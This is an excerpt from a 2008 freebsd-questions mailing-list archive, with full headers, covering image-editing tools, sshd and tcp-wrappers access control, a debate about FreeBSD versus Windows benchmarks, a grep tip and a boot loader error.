E1DA7AFBC02; Fri, 5 Dec 2008 01:49:04 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org, Polytropon Date: Fri, 5 Dec 2008 11:49:02 +0100 User-Agent: KMail/1.9.7 References: <592613.67715.qm@web52209.mail.re2.yahoo.com> <4938C38B.8080008@esiee.fr> <20081205113411.f202b11c.freebsd@edvax.de> In-Reply-To: <20081205113411.f202b11c.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812051149.03304.fbsd.questions@rachie.is-a-geek.net> Cc: Frank Bonnet Subject: Re: Image Programs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 10:49:06 -0000 On Friday 05 December 2008 11:34:11 Polytropon wrote: > Furthermore, there's Krita, if you're already using KDE. Yep, it's getting more stable and is more intuitive for a novice/casual user then gimp, also less powerful, but that's a matter of time. > For automated image manipulations, ImageMagick and especially > its convert command are very useful and powerful (!) tools. > > What about Inkscape? Tried this one? It's more 'Illustrator'. Allthough there's a lot of overlap between the programs, it's focus lies on compositing rather then editing images. Also, it uses ImageMagick, which I personally dislike for the reasons mentioned here: http://www.graphicsmagick.org/ -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 11:03:02 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 58A6610656A7 for ; Fri, 5 Dec 2008 11:03:02 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 2AA6A8FC0A for ; Fri, 5 Dec 2008 11:03:02 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 648FCAFBC02; Fri, 5 Dec 2008 02:03:01 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org, gwg7webbcom@yahoo.com Date: Fri, 5 Dec 2008 12:02:58 +0100 User-Agent: KMail/1.9.7 References: <916515.67967.qm@web52202.mail.re2.yahoo.com> In-Reply-To: <916515.67967.qm@web52202.mail.re2.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200812051202.59160.fbsd.questions@rachie.is-a-geek.net> Cc: Subject: Re: IPFW Firewall Question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 11:03:02 -0000 On Friday 05 December 2008 01:26:04 G magicman wrote: > Why because of the following: > > 1. Hosts.access=A0 on freebsd works on the Application Layer instead of t= he > Network Layer Therefore Hosts.allow/hosts.deny=A0=A0 no longer works the = way i > want and i do not feel like running Sendmail and sshd out of Inetd which > appearantly is the only way to be able to use hosts.allow/deny You're right about the application layer, but not about the rest. From=20 sshd(8): /etc/hosts.allow /etc/hosts.deny Access controls that should be enforced by tcp-wrappers are defined here. Further details are described in hosts_access(5= ). > 2. Next openssh doesnot have an AllowHosts directive like the Finnish one > does it only has an AllowUsers directive so i need to protect the system > from DDOS attacks Again, see above. > and Hacking I already tried to block things using the=20 > Sendmail Access file but all that did was choak up the server with moronic > shit.=A0 And i want to be able to use my sftp program but it opens random > ports which can not be controlled so i need the Clearaddresses to be able > to see all ports. =46or the firewall, pf user here, so others should help. ;) =2D-=20 Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 11:21:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 86A08106564A for ; Fri, 5 Dec 2008 11:21:01 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 0BD188FC08 for ; Fri, 5 Dec 2008 11:21:00 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L8Yjv-0008Du-2g for freebsd-questions@freebsd.org; Fri, 05 Dec 2008 11:20:55 +0000 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 05 Dec 2008 11:20:55 +0000 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 05 Dec 2008 11:20:55 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Fri, 05 Dec 2008 12:20:49 +0100 Lines: 53 Message-ID: References: <0016e64ca7d690e38f045d45227d@google.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigDE22439C07BEE7600C0A163B" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Thunderbird 2.0.0.18 (X11/20081125) In-Reply-To: <0016e64ca7d690e38f045d45227d@google.com> X-Enigmail-Version: 0.95.0 Sender: news Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 11:21:01 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigDE22439C07BEE7600C0A163B Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable af300wsm@gmail.com wrote: > Hi, >=20 > I don't even know if this has been done before, nor do I know for sure > if it's a sound comparison. Never the less, someone posted, in response= > to someone else here just a few days ago, some very nice benchmarks > provided by Kris ?Kenneway? I could be wrong on the last name, it just > seems to me that's a last name I've seen with Kris frequently (my > apologies Kris if I'm wrong). Using the URL that the other poster, > posted, I poked around the other *.html files in that directory, but di= d > not find any with FreeBSD pitted against windows. >=20 > I'm just curious to see how it looks for my own sanity's sake. At work,= > someone got the grand idea that we should move to Windoze embedded (CE > and XPe) and it's been quite discouraging I must say, though I must > admit, it's nice to actually know why Windows is ugly underneath. From = a > programming perspective, it's just not simplistic. Anyway, I digress, > I'm just curious to see how things compare to Windows on similar > benchmarks to what Kris provided if its ever been done. I've done some benchmarking of Windows file system IO (NTFS) using known tools like bonnie++, blogbench and postmark under cygwin and the results are abysmal. It might be due to cygwin, and it might not. I've used Windows Enterprise Server 2003. You'll probably not find any difference in computational (numeric) tasks and fairly bad results in tasks that do a lot of system work. --------------enigDE22439C07BEE7600C0A163B Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJOQ6RldnAQVacBcgRAqK9AJ410pXvG3jQlTkNk8HNLwJOAA3JYACeNM/0 /G/2geLA4o8erF3etoot19o= =FdDL -----END PGP SIGNATURE----- --------------enigDE22439C07BEE7600C0A163B-- From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 12:09:03 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 09F84106564A for ; Fri, 5 Dec 2008 12:09:03 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 3B23B8FC0A for ; Fri, 5 Dec 2008 12:09:01 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5C8dPH001642; Fri, 5 Dec 2008 13:08:39 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5C8bcC001639; Fri, 5 Dec 2008 13:08:39 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 13:08:37 +0100 (CET) From: Wojciech Puchar To: Odhiambo Washington In-Reply-To: <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> Message-ID: <20081205130723.G1635@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: "freebsd-questions@freebsd.org" , af300wsm@gmail.com Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 12:09:03 -0000 > No one in their right senses would spend time benchmarking FreeBSD (or any > Unix variant) against Windows (oh, which version?). It's a waste of time. exactly what i meant. windows agains wine under FreeBSD? cygwin under windows against FreeBSD? > Let those who use Windows use it and those who like living in a world where > they are allowed to use their brains use Unix. EXACTLY what i'm telling everywhere, including that group. And then i hear about i start flamewars which is nonsense. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 12:09:59 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 296AC106567A for ; Fri, 5 Dec 2008 12:09:59 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 691228FC1C for ; Fri, 5 Dec 2008 12:09:58 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5C9bh1001657; Fri, 5 Dec 2008 13:09:37 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5C9aFW001654; Fri, 5 Dec 2008 13:09:37 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 13:09:36 +0100 (CET) From: Wojciech Puchar To: Julien Cigar In-Reply-To: <1228470808.2741.14.camel@frodon.be-bif.ulb.ac.be> Message-ID: <20081205130852.P1635@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <1228470808.2741.14.camel@frodon.be-bif.ulb.ac.be> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: "freebsd-questions@freebsd.org" , af300wsm@gmail.com Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 12:09:59 -0000 > a Windows system it's the virtual memory management, with the same > amount of RAM Windows swaps a *lot* more. it may be not VM subsystem but memory usage of windoze software. or both. again - it's too different to be benchmarked From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 12:11:46 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 42856106567B; Fri, 5 Dec 2008 12:11:46 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id B96FA8FC30; Fri, 5 Dec 2008 12:11:44 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5CBMHW001668; Fri, 5 Dec 2008 13:11:22 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5CBMVU001665; Fri, 5 Dec 2008 13:11:22 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 13:11:22 +0100 (CET) From: Wojciech Puchar To: Ivan Voras In-Reply-To: Message-ID: <20081205130950.W1635@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 12:11:46 -0000 > tools like bonnie++, blogbench and postmark under cygwin and the results > are abysmal. It might be due to cygwin, and it might not. I've used rather not. all cygwin do is wrapping calls like read, lseek, open, write, close to windoze calls. > Windows Enterprise Server 2003. > > You'll probably not find any difference in computational (numeric) tasks unless microsoft is intentionally slowing down all programs or some of them to "show" adventage of their programs. no i'm not joking. it's not just possible, i'm fairly certain they do it. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 12:39:48 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 549A61065680 for ; Fri, 5 Dec 2008 12:39:48 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 858A18FC0C for ; Fri, 5 Dec 2008 12:39:46 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5CdMc0001845; Fri, 5 Dec 2008 13:39:22 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5CdMck001842; Fri, 5 Dec 2008 13:39:22 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 13:39:22 +0100 (CET) From: Wojciech Puchar To: Marc Coyles In-Reply-To: <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> Message-ID: <20081205133811.F1821@wojtek.tensor.gdynia.pl> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: RE: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 12:39:48 -0000 >> > > Arse - I spoke too soon. > > Anyone know any perl to remove blank lines???! i don't know perl but grep -v ^$ will remove all empty lines From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 12:58:22 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BDC281065673 for ; Fri, 5 Dec 2008 12:58:22 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp109.prem.mail.ac4.yahoo.com (smtp109.prem.mail.ac4.yahoo.com [76.13.13.92]) by mx1.freebsd.org (Postfix) with SMTP id 67D208FC2F for ; Fri, 5 Dec 2008 12:58:22 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: (qmail 28510 invoked from network); 5 Dec 2008 12:58:21 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:Date:From:To:Subject:Message-ID:In-Reply-To:References:Reply-To:Organization:X-Mailer:Face:X-Face:Mime-Version:Content-Type; b=4cI1cxAG6THy70Oyx4RAP01KWRQlSktjkNGw7oEl5YdCNZB95BdfzmoiT2VEi83FcSSgTxtvsFYWbjIGtFmc1f91ohZQw35nAlhth0qLHWSAOXdQS5o9jRNyWT2TB4qSaJgoTTpzRMSPUFtXu7AGcfAknV9xDYwsJ7QwUlLJOGc= ; Received: from unknown (HELO scorpio) (gesbbb@76.23.177.172 with login) by smtp109.prem.mail.ac4.yahoo.com with SMTP; 5 Dec 2008 12:58:21 -0000 X-YMail-OSG: pkeXWAcVM1mW4_M0Nfx5zUKwxR08kLpv1P0Yc5MNX9mFq1uGHZ8Gz6Cl4W77W4KhVC1ERMBfmGPb3TQqYmho_BiXPdL6VDcQw9cqOdl.9Svvi8K2ewN8jP7ciQSIopPORNbz4Ie3TVgRKKyZ8HgvY0nqj4J_fmom_zS9vD6hlNLjWxLp_OFwRylGTgAr8p2AC2Ua7hKjksm67AAV1NM.khFfDe0- X-Yahoo-Newman-Property: ymail-3 Date: Fri, 5 Dec 2008 07:58:18 -0500 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20081205075818.0dac4e82@scorpio> In-Reply-To: <20081205130950.W1635@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205130950.W1635@wojtek.tensor.gdynia.pl> Organization: seibercom.net X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd6.3) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR nSNPNr*/^~StawWU9KDJ-CT0k$f#@t2^K&BS_f|?ZV/.7Q Mime-Version: 1.0 Content-Type: multipart/signed; boundary="Sig_/HBg94lAmd4gdoxG8qsqIOVJ"; protocol="application/pgp-signature"; micalg=PGP-SHA1 Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 12:58:22 -0000 --Sig_/HBg94lAmd4gdoxG8qsqIOVJ Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On Fri, 5 Dec 2008 13:11:22 +0100 (CET) Wojciech Puchar wrote: >> tools like bonnie++, blogbench and postmark under cygwin and the >> results are abysmal. It might be due to cygwin, and it might not. >> I've used =20 > >rather not. all cygwin do is wrapping calls like read, lseek, open, >write, close to windoze calls. > >> Windows Enterprise Server 2003. >> >> You'll probably not find any difference in computational (numeric) >> tasks =20 > >unless microsoft is intentionally slowing down all programs or some of=20 >them to "show" adventage of their programs. > >no i'm not joking. it's not just possible, i'm fairly certain they do >it. Slightly paranoid aren't we? It reminds me of an article I read several years ago in which the author claimed that all "Virus" and "Malware/Trojans" were being written by Linux users in an attempt to discredit Microsoft and then start charging for the use of their software in a fashion consistent with Microsoft. He went on to claim that 'open-sore' authors would reap windfall profits. Of course, like you, he offered no concrete evidence, just idle speculation. In any case, due to the multitude of flavors of *.nix and Windows machines, in addition to the thousands of possible configurations, systems, etc., getting a truly meaningful comparison would be a monumental undertaking. In any event, it would be obsolete before you ever finished it. --=20 Jerry gesbbb@yahoo.com Fortune's Office Door Sign of the Week: Incorrigible punster -- Do not incorrige. --Sig_/HBg94lAmd4gdoxG8qsqIOVJ Content-Type: application/pgp-signature; name=signature.asc Content-Disposition: attachment; filename=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk5JWsACgkQBvaKIJWWCO2cbACgiVN7ZsEg2r437A3bA7XQo0Nj ZuoAniidoLbPPEKK5t5MVyAxoYLA34oj =uXB3 -----END PGP SIGNATURE----- --Sig_/HBg94lAmd4gdoxG8qsqIOVJ-- From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 13:07:38 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D1685106564A for ; Fri, 5 Dec 2008 13:07:38 +0000 (UTC) (envelope-from bseklecki@collaborativefusion.com) Received: from collaborativefusion.com (mx01.pub.collaborativefusion.com [206.210.89.201]) by mx1.freebsd.org (Postfix) with ESMTP id 65ECD8FC17 for ; Fri, 5 Dec 2008 13:07:38 +0000 (UTC) (envelope-from bseklecki@collaborativefusion.com) Received: from Internal Mail-Server by mx01 (envelope-from bseklecki@collaborativefusion.com) with SMTP; 5 Dec 2008 08:07:37 -0500 From: "Brian A. Seklecki" To: FuLLBLaSTstorm In-Reply-To: <6c51dbb10812042310n54788869hbb8a66f3d54d824@mail.gmail.com> References: <6c51dbb10812042310n54788869hbb8a66f3d54d824@mail.gmail.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-MMgfj8Ls5FutqQzXHafU" Organization: Collaborative Fusion, Inc. Date: Fri, 05 Dec 2008 08:07:37 -0500 Message-Id: <1228482457.2805.490.camel@soundwave.ws.pitbpa0.priv.collaborativefusion.com> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) Cc: freebsd-questions@freebsd.org Subject: Re: No /boot/kernel/kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: bseklecki@collaborativefusion.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 13:07:38 -0000 --=-MMgfj8Ls5FutqQzXHafU Content-Type: text/plain Content-Transfer-Encoding: quoted-printable > FreeBSD/i386 boot > Default 0:ad(0,a)/boot/kernel/kernel > boot: > No /boot/kernel/kernel >=20 > the same reappeared after i typed /boot/kernel.old/kernel. > WHAT DID WENT WRONG??? Any ideas? > _____________________________________ Ugh.... 2nd stage boot loader should be given: Default: 0:ad(0,a)/boot/loader ~BAS --=-MMgfj8Ls5FutqQzXHafU Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEABECAAYFAkk5J5kACgkQCne6BNDQ+R9kWACeKb1BrHCcSxhBA0eFulHcnhNh 2JcAnA+9xvXtswJtRfDhzxUwdB/40HSU =Q76E -----END PGP SIGNATURE----- --=-MMgfj8Ls5FutqQzXHafU-- From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 13:26:55 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F039F106564A for ; Fri, 5 Dec 2008 13:26:55 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id BE0B38FC14 for ; Fri, 5 Dec 2008 13:26:55 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 74732AFBC02; Fri, 5 Dec 2008 04:26:54 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Fri, 5 Dec 2008 14:26:50 +0100 User-Agent: KMail/1.9.7 References: <0016e64ca7d690e38f045d45227d@google.com> <20081205130950.W1635@wojtek.tensor.gdynia.pl> <20081205075818.0dac4e82@scorpio> In-Reply-To: <20081205075818.0dac4e82@scorpio> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-6" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812051426.51597.fbsd.questions@rachie.is-a-geek.net> Cc: Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 13:26:56 -0000 On Friday 05 December 2008 13:58:18 Jerry wrote: > On Fri, 5 Dec 2008 13:11:22 +0100 (CET) > > Wojciech Puchar wrote: > >> tools like bonnie++, blogbench and postmark under cygwin and the > >> results are abysmal. It might be due to cygwin, and it might not. > >> I've used > > > >rather not. all cygwin do is wrapping calls like read, lseek, open, > >write, close to windoze calls. > > > >> Windows Enterprise Server 2003. > >> > >> You'll probably not find any difference in computational (numeric) > >> tasks > > > >unless microsoft is intentionally slowing down all programs or some of > >them to "show" adventage of their programs. > > > >no i'm not joking. it's not just possible, i'm fairly certain they do > >it. > > Slightly paranoid aren't we? It reminds me of an article I read several > years ago in which the author claimed that all "Virus" and > "Malware/Trojans" were being written by Linux users in an attempt to > discredit Microsoft and then start charging for the use of their > software in a fashion consistent with Microsoft. He went on to claim > that 'open-sore' authors would reap windfall profits. Of course, like > you, he offered no concrete evidence, just idle speculation. > > In any case, due to the multitude of flavors of *.nix and Windows > machines, in addition to the thousands of possible configurations, > systems, etc., getting a truly meaningful comparison would be a > monumental undertaking. In any event, it would be obsolete before you > ever finished it. Well, one can find stories like this of course: http://www.postgis.org/documentation/casestudies/globexplorer/ But I'm sure one can find some of the contrary. It does show the value of the benchmark: Is it economically viable to use configuration X vs Y, and performance is only one factor of the descision. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 13:39:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E609C1065673 for ; Fri, 5 Dec 2008 13:39:06 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from smtp.po.exetel.com.au (pecan.exetel.com.au 